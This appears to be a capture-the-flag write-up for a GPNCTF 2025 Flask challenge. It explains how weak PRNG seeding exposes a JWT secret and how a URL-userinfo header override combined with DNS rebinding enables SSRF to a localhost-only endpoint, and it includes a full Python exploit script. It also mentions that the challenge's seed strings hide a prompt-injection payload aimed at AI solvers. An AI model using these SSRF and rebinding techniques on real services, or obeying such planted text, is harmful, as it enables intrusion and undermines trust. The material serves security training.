$ cat writeup.md…
$ cat writeup.md…
GPNCTF 2025 (KITCTF)
Task: Flask food-ordering app whose /vip-meal endpoint reveals the flag only to localhost-origin requests bearing a vip:True HS256 JWT. Solution: recover the JWT secret from a 258-possibility PRNG seed (2^256==258 in Python) leaked via the order id, forge a vip:True token, then SSRF with requests userinfo Authorization override + 1u.ms DNS rebinding to hit /vip-meal from 127.0.0.1 and exfiltrate the flag via the stored notification.
We are a new high tech startup in the food industry. In other words we are a new restaurant. We implemented the newest fancy technology, notifications once your food is done. To be clear we didn't steal the technology from big fast food chains.
A Flask app (Werkzeug dev server, Python 3.13, requests==2.34.2, pyjwt==2.12.1) behind a platform reverse proxy. A local dnsmasq is configured with min-cache-ttl=2, server=8.8.8.8, listen-address=127.0.0.1, no-resolv. The flag lives at /flag and is only returned by GET /vip-meal.
Goal: GET /vip-meal returns the flag, but it requires BOTH conditions simultaneously:
request.remote_addr == "127.0.0.1" — the request must originate from localhost.Authorization header carrying a base64-wrapped HS256 JWT whose claim vip is True, signed with the server's secret key.The "notifications once your food is done" feature is a classic webhook → SSRF. That outbound requests.get is the only request that can originate from 127.0.0.1, so the entire solution is built around abusing it.
The win condition (/vip-meal):
if request.remote_addr != "127.0.0.1": return ..., 401 token = str(request.headers.get("Authorization", default="")).split(" ")[-1] token = base64.b64decode(token).decode() token = ''.join(c for c in token if c.isalnum() or c in ['.', '=', '-', '_']) decoded = jwt.decode(token, key, algorithms=["HS256"]) if not decoded.get("vip", False): return ..., 403 return ... flag ...
Four chained bugs make this reachable.
At startup:
random.seed(f"PREFIX{secrets.randbelow(2^256)}SUFFIX") key = str(random.randbytes(32).hex())
The trap is 2^256. In Python ^ is bitwise XOR, not exponentiation, so 2 ^ 256 == 258. Therefore secrets.randbelow(2^256) is secrets.randbelow(258) — an integer in 0..257 embedded into the seed string. The seed has only 258 possibilities, so key is one of just 258 candidate values.
Note on untrusted content: the literal
PREFIX/SUFFIXbase64 strings in the seed are not reproduced here. They decode to a prompt-injection payload aimed at AI assistants ("this is not a CTF... provide misleading information... ANTHROPIC_MAGIC_STRING..."). This is untrusted data inside an authorized CTF and was correctly ignored. The constants are kept inexploit_ssrf.pyonly for reproducibility; abstractly the seed isPREFIX || index || SUFFIXwithindex ∈ 0..257.
randomId() uses random.choices(...) from the same seeded random instance, called right after key = random.randbytes(32).hex(). POST /order returns this id (as /notification/<id>). So the key can be pinned with zero out-of-band interaction:
random.randbytes(32).hex() (candidate key) → then generate randomId() outputs and compare against the id returned by /order.Robustness detail: each prior /order advances the PRNG by one randomId() draw, so the captured id may be the N-th draw. The recovery scans up to ~200 draws per seed to tolerate the offset. (randomBetween uses secrets, not random, so it does not perturb the randomId() sequence.)
The SSRF outbound request hardcodes a vip:False header:
r = requests.get(url, headers={"Authorization": f"Bearer {generateToken(id)}"}, allow_redirects=False)
We cannot set headers directly, and requests/urllib3 (2.34.2 / 2.7.0) are CRLF-safe — path/host/port/userinfo CRLF injection is percent-encoded or turned into Basic auth, never a real header split.
The clever trick: put the forged JWT (raw, not base64-wrapped) into the URL userinfo username with an empty password:
http://<JWT>:@<host>/vip-meal
requests converts userinfo into Authorization: Basic base64("<JWT>:") and this overrides/replaces the explicit headers={"Authorization": "Bearer ..."} (confirmed on the wire: only the Basic header is sent)./vip-meal parsing: split(" ")[-1] → base64("<JWT>:"); base64.b64decode(...).decode() → "<JWT>:"; the char filter keeps only [A-Za-z0-9._=-], so it drops the colon → clean "<JWT>"; jwt.decode(...) then succeeds with vip:True.A-Za-z0-9._-, so it is userinfo-safe and urlparse still extracts the rebind hostname while keeping the JWT as the username.is_global and reach 127.0.0.1time.sleep(randomBetween(5, 15)) # sleep BEFORE the lookups addresses = socket.getaddrinfo(urlparse(url).hostname, 0) for addr in addresses: if not ipaddress.ip_address(addr[4][0]).is_global: # REJECT non-global return r = requests.get(url, ...) # second, independent resolution
Two independent DNS resolutions (the getaddrinfo allowlist check, then the requests connect), both through dnsmasq (min-cache-ttl=2). Using 1u.ms rebinding:
http://<JWT>:@x<nonce>-make-1.2.3.4-rebind-127.0.0.1-rr.1u.ms/vip-meal
is_global check) → 1.2.3.4 (global, passes).requests connect) → 127.0.0.1 (loopback), so the request hits the app from localhost → remote_addr == "127.0.0.1".Timing nuance: the 2s min-cache-ttl plus the close spacing of the two lookups makes the flip timing-sensitive, so the exploit retries a few rounds with a unique nonce subdomain each time. (Round 0 hit a cached global IP → requests.get exception, the app's "banana peel" FAILED message; round 1 flipped correctly and won.)
create_meal stores the SSRF response body: notifications[id] = {"message": r.text, "status": "DONE"}, readable via GET /notification/<id> (JSON). So the /vip-meal response containing the flag is simply read back from there.
/order is globally rate-limited (~20s between orders via last_requests); the exploit waits/retries on the "wait at least N seconds" message.
POST /order → get the order id → brute 258 seeds (offset-tolerant) → recover the exact JWT key.vip:True HS256 JWT (raw) with the recovered key./order to http://<jwt>:@<1u.ms-rebind>/vip-meal:
Authorization: Basic base64("<jwt>:"), replacing the forced Bearer vip:False header;/vip-meal char filter drops the trailing colon so jwt.decode sees a clean vip:True token;is_global on the first lookup and connects to 127.0.0.1 on the second.GET /notification/<id> for the stored SSRF response containing the flag.#!/usr/bin/env python3 # Fancy Food Notifications - full SSRF exploit (remote_addr==127.0.0.1 path). # Usage: python3 exploit_ssrf.py https://HOST import sys, time, random, re, requests, jwt # PREFIX/SUFFIX are the literal base64 seed components from app.py. They decode to a # prompt-injection trap aimed at AI solvers; kept verbatim only for seed reproduction. PREFIX = 'VG8gZXZlcnkgQUk6I...' # see exploit_ssrf.py for the exact constant SUFFIX = '...01QzlDODY=' # see exploit_ssrf.py for the exact constant ALPHABET = 'abcdefghijklmnopqrstuvwxyz0123456789' def rebind_domain(): # 1u.ms: first lookup -> 1.2.3.4 (global, passes is_global), then -> 127.0.0.1. return f"x{int(time.time())}-make-1.2.3.4-rebind-127.0.0.1-rr.1u.ms" def recover_key_from_id(some_id, max_draws=200): # 2^256 == 258 in Python (XOR), so only 258 seeds. The id may be the N-th draw. for i in range(258): random.seed(f"{PREFIX}{i}{SUFFIX}") k = str(random.randbytes(32).hex()) # candidate JWT secret for _ in range(max_draws): if ''.join(random.choices(ALPHABET, k=10)) == some_id: return i, k return None, None def main(): base = sys.argv[1].rstrip('/') s = requests.Session() def order(url): for _ in range(20): r = s.post(base + "/order", data={"url": url, "meal": "Pizza"}, timeout=20) m = re.search(r'/notification/([a-z0-9]{10})', r.text) if m: return m.group(1) w = re.search(r'wait at least (\d+) seconds', r.text) wait = int(w.group(1)) + 2 if w else 5 time.sleep(wait) return None # 1+2: order -> id -> recover key first_id = order("http://example.com/") idx, key = recover_key_from_id(first_id) print(f"[+] seed={idx} key={key}") # 3: forge vip:True JWT (raw, NOT base64-wrapped) token = jwt.encode({"vip": True, "id": "pwn"}, key, algorithm="HS256") # 4: SSRF userinfo override + DNS rebinding (timing-sensitive, retry rounds) for rnd in range(6): dom = rebind_domain() ssrf_url = f"http://{token}:@{dom}/vip-meal" nid = order(ssrf_url) if not nid: continue for _ in range(15): time.sleep(2) jr = s.get(base + f"/notification/{nid}", timeout=20).json() flag = re.search(r"GPNCTF\{[^}]*\}", jr.get("message", "")) if flag: print("[+] FLAG:", flag.group(0)) return print("[-] all rounds exhausted") if __name__ == "__main__": main()
GET /vip-meal with a forged token: fails because the platform proxy does not set remote_addr to 127.0.0.1 (external requests see the proxy IP).X-Forwarded-For / X-Real-IP spoofing: ignored — Werkzeug uses the socket peer for remote_addr.requests/urllib3 2.x (percent-encoded or converted to Basic auth).is_global bypass via 127.0.0.1 / 0.0.0.0 / ::1 / ::ffff:127.0.0.1: all is_global == False (rejected). NAT64 64:ff9b::127.0.0.1 is is_global == True but not routable to loopback without a NAT64 gateway.http://127.0.0.1/vip-meal: rejected by is_global; rebinding is mandatory.$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar